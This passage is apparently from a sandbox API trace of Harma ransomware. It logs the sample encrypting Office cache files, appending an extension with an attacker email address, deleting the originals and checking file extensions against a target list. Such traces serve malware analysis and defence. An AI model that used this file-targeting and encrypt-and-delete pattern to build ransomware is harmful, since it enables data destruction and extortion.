users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.202] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0040.202] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.202] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.202] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0040.202] GetLastError () returned 0x0 [0040.202] ReadFile (in: hFile=0x174, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0040.204] WriteFile (in: hFile=0x17c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0040.205] ReadFile (in: hFile=0x174, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.205] WriteFile (in: hFile=0x17c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0040.205] SetEndOfFile (hFile=0x17c) returned 1 [0040.205] CloseHandle (hObject=0x17c) returned 1 [0040.206] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.206] SetEndOfFile (hFile=0x174) returned 1 [0040.207] CloseHandle (hObject=0x174) returned 1 [0040.207] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.207] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0040.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.207] lstrlenW (lpString=".doc") returned 4 [0040.207] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.207] lstrlenW (lpString=".docx") returned 5 [0040.207] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.207] lstrlenW (lpString=".pdf") returned 4 [0040.207] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString=".xls") returned 4 [0040.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString=".xlsx") returned 5 [0040.208] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.208] lstrlenW (lpString=".ppt") returned 4 [0040.208] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.208] lstrlenW (lpString=".zip") returned 4 [0040.208] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.208] lstrlenW (lpString=".rar") returned 4 [0040.208] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString=".bz2") returned 4 [0040.208] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString=".7z") returned 3 [0040.208] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.208] lstrlenW (lpString=".dbf") returned 4 [0040.208] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.208] lstrlenW (lpString=".1cd") returned 4 [0040.208] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.208] lstrlenW (lpString=".jpg") returned 4 [0040.208] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.208] lstrlenW (lpString=".doc") returned 4 [0040.208] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.208] lstrlenW (lpString=".docx") returned 5 [0040.208] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.208] lstrlenW (lpString=".pdf") returned 4 [0040.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString=".xls") returned 4 [0040.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString=".xlsx") returned 5 [0040.209] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.209] lstrlenW (lpString=".ppt") returned 4 [0040.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.209] lstrlenW (lpString=".zip") returned 4 [0040.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.209] lstrlenW (lpString=".rar") returned 4 [0040.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString=".bz2") returned 4 [0040.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString=".7z") returned 3 [0040.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.209] lstrlenW (lpString=".dbf") returned 4 [0040.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.209] lstrlenW (lpString=".1cd") returned 4 [0040.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0040.209] lstrlenW (lpString=".jpg") returned 4 [0040.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.209] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.209] lstrlenW (lpString="Setup.xml") returned 9 [0040.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0040.210] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1852) returned 1 [0040.210] CloseHandle (hObject=0x174) returned 1 [0040.210] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.210] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0040.210] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.210] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0040.211] GetLastError () returned 0x0 [0040.211] ReadFile (in: hFile=0x174, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x73c, lpOverlapped=0x0) returned 1 [0040.212] WriteFile (in: hFile=0x17c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x740, lpOverlapped=0x0) returned 1 [0040.213] ReadFile (in: hFile=0x174, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.213] WriteFile (in: hFile=0x17c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.213] SetEndOfFile (hFile=0x17c) returned 1 [0040.213] CloseHandle (hObject=0x17c) returned 1 [0040.214] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.214] SetEndOfFile (hFile=0x174) returned 1 [0040.215] CloseHandle (hObject=0x174) returned 1 [0040.215] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.216] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.216] lstrlenW (lpString=".doc") returned 4 [0040.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.216] lstrlenW (lpString=".docx") returned 5 [0040.216] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.216] lstrlenW (lpString=".pdf") returned 4 [0040.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.216] lstrlenW (lpString=".xls") returned 4 [0040.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.216] lstrlenW (lpString=".xlsx") returned 5 [0040.216] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.216] lstrlenW (lpString=".ppt") returned 4 [0040.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.216] lstrlenW (lpString=".zip") returned 4 [0040.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.216] lstrlenW (lpString=".rar") returned 4 [0040.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.216] lstrlenW (lpString=".bz2") returned 4 [0040.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.217] lstrlenW (lpString=".7z") returned 3 [0040.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.217] lstrlenW (lpString=".dbf") returned 4 [0040.217] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.217] lstrlenW (lpString=".1cd") returned 4 [0040.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.217] lstrlenW (lpString=".jpg") returned 4 [0040.217] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.217] lstrlenW (lpString=".doc") returned 4 [0040.217] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.217] lstrlenW (lpString=".docx") returned 5 [0040.217] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.217] lstrlenW (lpString=".pdf") returned 4 [0040.217] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.217] lstrlenW (lpString=".xls") returned 4 [0040.217] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.217] lstrlenW (lpString=".xlsx") returned 5 [0040.217] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.217] lstrlenW (lpString=".ppt") returned 4 [0040.217] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.217] lstrlenW (lpString=".zip") returned 4 [0040.217] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.217] lstrlenW (lpString=".rar") returned 4 [0040.218] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.218] lstrlenW (lpString=".bz2") returned 4 [0040.218] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.218] lstrlenW (lpString=".7z") returned 3 [0040.218] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.218] lstrlenW (lpString=".dbf") returned 4 [0040.218] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.218] lstrlenW (lpString=".1cd") returned 4 [0040.218] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.218] lstrlenW (lpString=".jpg") returned 4 [0040.218] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.218] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.218] lstrlenW (lpString="Setup.xml") returned 9 [0040.218] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0040.219] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=6241) returned 1 [0040.219] CloseHandle (hObject=0x174) returned 1 [0040.219] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.219] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.219] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0040.219] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.219] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.220] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0040.221] GetLastError () returned 0x0 [0040.221] ReadFile (in: hFile=0x174, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x1861, lpOverlapped=0x0) returned 1 [0040.223] WriteFile (in: hFile=0x17c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0040.224] ReadFile (in: hFile=0x174, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.224] WriteFile (in: hFile=0x17c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.224] SetEndOfFile (hFile=0x17c) returned 1 [0040.224] CloseHandle (hObject=0x17c) returned 1 [0040.225] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.225] SetEndOfFile (hFile=0x174) returned 1 [0040.226] CloseHandle (hObject=0x174) returned 1 [0040.226] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.226] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.227] lstrlenW (lpString=".doc") returned 4 [0040.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.227] lstrlenW (lpString=".docx") returned 5 [0040.227] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.227] lstrlenW (lpString=".pdf") returned 4 [0040.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.227] lstrlenW (lpString=".xls") returned 4 [0040.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.227] lstrlenW (lpString=".xlsx") returned 5 [0040.227] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.227] lstrlenW (lpString=".ppt") returned 4 [0040.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.227] lstrlenW (lpString=".zip") returned 4 [0040.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.227] lstrlenW (lpString=".rar") returned 4 [0040.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.227] lstrlenW (lpString=".bz2") returned 4 [0040.227] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.227] lstrlenW (lpString=".7z") returned 3 [0040.227] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.227] lstrlenW (lpString=".dbf") returned 4 [0040.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.227] lstrlenW (lpString=".1cd") returned 4 [0040.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.228] lstrlenW (lpString=".jpg") returned 4 [0040.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.228] lstrlenW (lpString=".doc") returned 4 [0040.228] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.228] lstrlenW (lpString=".docx") returned 5 [0040.228] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.228] lstrlenW (lpString=".pdf") returned 4 [0040.228] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.228] lstrlenW (lpString=".xls") returned 4 [0040.228] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.228] lstrlenW (lpString=".xlsx") returned 5 [0040.228] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.228] lstrlenW (lpString=".ppt") returned 4 [0040.228] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.228] lstrlenW (lpString=".zip") returned 4 [0040.228] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.228] lstrlenW (lpString=".rar") returned 4 [0040.228] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.228] lstrlenW (lpString=".bz2") returned 4 [0040.228] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.228] lstrlenW (lpString=".7z") returned 3 [0040.229] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.229] lstrlenW (lpString=".dbf") returned 4 [0040.229] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.229] lstrlenW (lpString=".1cd") returned 4 [0040.229] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.229] lstrlenW (lpString=".jpg") returned 4 [0040.229] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.229] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.229] lstrlenW (lpString="VisioMUI.xml") returned 12 [0040.229] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0040.229] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=9503) returned 1 [0040.229] CloseHandle (hObject=0x174) returned 1 [0040.229] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0040.230] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 